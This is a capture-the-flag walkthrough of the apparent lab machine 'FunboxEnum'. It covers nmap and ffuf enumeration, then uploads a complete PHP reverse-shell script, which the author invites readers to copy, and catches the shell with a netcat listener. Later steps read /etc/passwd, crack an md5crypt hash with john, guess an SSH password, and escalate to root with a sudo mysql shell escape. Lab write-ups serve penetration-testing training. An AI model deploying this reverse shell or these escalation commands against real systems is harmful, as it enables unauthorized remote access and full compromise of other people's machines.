FunboxEnum

nmap

```
┌──(maskman㉿machine)-[~]
└─$ sudo nmap funboxenum.pg -v
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 18:39 IST
Initiating Ping Scan at 18:39
Scanning funboxenum.pg (192.168.207.132) [4 ports]
Completed Ping Scan at 18:39, 0.25s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:39
Scanning funboxenum.pg (192.168.207.132) [1000 ports]
Discovered open port 80/tcp on 192.168.207.132
Discovered open port 22/tcp on 192.168.207.132
Increasing send delay for 192.168.207.132 from 0 to 5 due to 120 out of 398 dropped probes since last increase.
Completed SYN Stealth Scan at 18:40, 21.27s elapsed (1000 total ports)
Nmap scan report for funboxenum.pg (192.168.207.132)
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.64 seconds
        Raw packets sent: 1733 (76.228KB) | Rcvd: 1008 (40.348KB)
```

FFUF-Directory Enumeration

```
┌──(maskman㉿machine)-[~]
└─$ ffuf -u http://funboxenum.pg/FUZZ -w /home/maskman/Documents/dirbuster/directory-list-1.0.txt

       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

      v1.3.1 Kali Exclusive <3

________________________________________________

 :: Method           : GET
 :: URL              : http://funboxenum.pg/FUZZ
 :: Wordlist         : FUZZ: /home/maskman/Documents/dirbuster/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

# This work is licensed under the Creative Commons  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                    [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Copyright 2007 James Fisher [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                    [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# directory-list-1.0.txt [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                    [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
                   [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# on atleast 2 host.  This was the first draft of the list. [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                    [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
```

```
# Unordered case sensative list, where entries were found  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
phpmyadmin              [Status: 301, Size: 319, Words: 20, Lines: 10]
:: Progress: [141708/141708] :: Job [1/1] :: 113 req/sec :: Duration: [0:19:32] :: Errors: 372 ::
```

FFUF- Enumerating php files

```
┌──(maskman㉿machine)-[~]
└─$ ffuf -u http://funboxenum.pg/FUZZ.php -w /home/maskman/Documents/dirbuster/directory-list-1.0.txt

       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

      v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://funboxenum.pg/FUZZ.php
 :: Wordlist         : FUZZ: /home/maskman/Documents/dirbuster/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

                        [Status: 403, Size: 278, Words: 20, Lines: 10]
#                       [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# directory-list-1.0.txt [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                       [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# on atleast 2 host.  This was the first draft of the list. [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Unordered case sensative list, where entries were found  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                       [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# This work is licensed under the Creative Commons  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 10918, Words: 3499, Lines: 376]
#                       [Status: 200, Size: 10918, Words: 3499, Lines: 376]
# Copyright 2007 James Fisher [Status: 200, Size: 10918, Words: 3499, Lines: 376]
mini                    [Status: 200, Size: 4565, Words: 175, Lines: 132]
:: Progress: [141708/141708] :: Job [1/1] :: 180 req/sec :: Duration: [0:13:20] :: Errors: 0 ::
```

Uploading Reverse Shell

This Is the php reverse shell code I used, You can either copy this or Download it from the internet . Google “php-reverse-shell”

```
<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '<your ip>';  // CHANGE THIS
$port = 3333;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
```

```
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();

	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}

	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
```

```
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
```

```
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
```

Gaining shell access

```
┌──(maskman㉿machine)-[~]
└─$ rlwrap nc -lvnp 3333
listening on [any] 3333 ...
connect to [192.168.49.207] from (UNKNOWN) [192.168.207.132] 60344
Linux funbox7 4.15.0-117-generic #118-Ubuntu SMP Fri Sep 4 20:02:41 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:08:09 up  2:03,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
goat     pts/2    192.168.49.207   14:42   21:15   0.02s  0.00s
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

Gaining User flag

I was looking in the direcory the shell landed me in and the flag was in the same directory.

```
ls -l
total 8
```

```
drwxrwxrwx 2 root     root     4096 Aug  2 13:22 html
-rw-r--r-- 1 www-data www-data   33 Aug  2 13:08 local.txt
cat local.txt
b7ab43ded57e7a068821b3d173edbb1a
$
```

Escalating to user Oracle

This step is hardly necessary. You can skip this and proceed to bruteforcing ssh.

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
karla:x:1000:1000:karla:/home/karla:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005::/home/lissy:/bin/sh
```

You can see “oracle” user's hash in the passwd file.

Cracking the password :-

```
┌──(maskman㉿machine)-[~]
└─$ john oracle --wordlist=/home/maskman/Documents/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)

┌──(maskman㉿machine)-[~]
└─$ john oracle --show
?:hiphop

1 password hash cracked, 0 left
```

Escalating to user "goat"

I must say I was lucky in cracking the password. I had a hunch that username could be the password and I tried it hoping it might not work. To my surprise it did work and I got the foothold as user “goat”

```
┌──(maskman㉿machine)-[~]
└─$ ssh goat@funboxenum.pg
goat@funboxenum.pg's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Aug  2 15:22:15 UTC 2021

  System load:  0.0               Processes:           202
  Usage of /:   71.0% of 4.66GB   Users logged in:     1
  Memory usage: 48%               IP address for ens192: 192.168.207.132
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Aug  2 14:42:44 2021 from 192.168.49.207
goat@funbox7:~$
```

Privilege Escalation to ROOT

First I listed out user permissions using the following command. It seems that goat can run mysql as root.

```
goat@funbox7:~$ sudo -l
Matching Defaults entries for goat on funbox7:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User goat may run the following commands on funbox7:
    (root) NOPASSWD: /usr/bin/mysql
```

So, I escalated to root user using the following command and found the flag.

```
goat@funbox7:~$     sudo mysql -e '\! /bin/sh'
#
: not found
#
#
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cd /root
# ls -la
total 28
drwx------  3 root root 4096 Aug  2 13:07 .
drwxr-xr-x 24 root root 4096 Sep 19  2020 ..
lrwxrwxrwx  1 root root    9 Jan 28  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
```

```
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   33 Aug  2 13:08 proof.txt
-rw-r--r--  1 root root   32 Feb 16 13:28 root.flag
drwx------  2 root root 4096 Sep 18  2020 .ssh
# cat roo* proo*
Your flag is in another file...
0d2a27f4d92d1a66105247ff6633ff38
#
```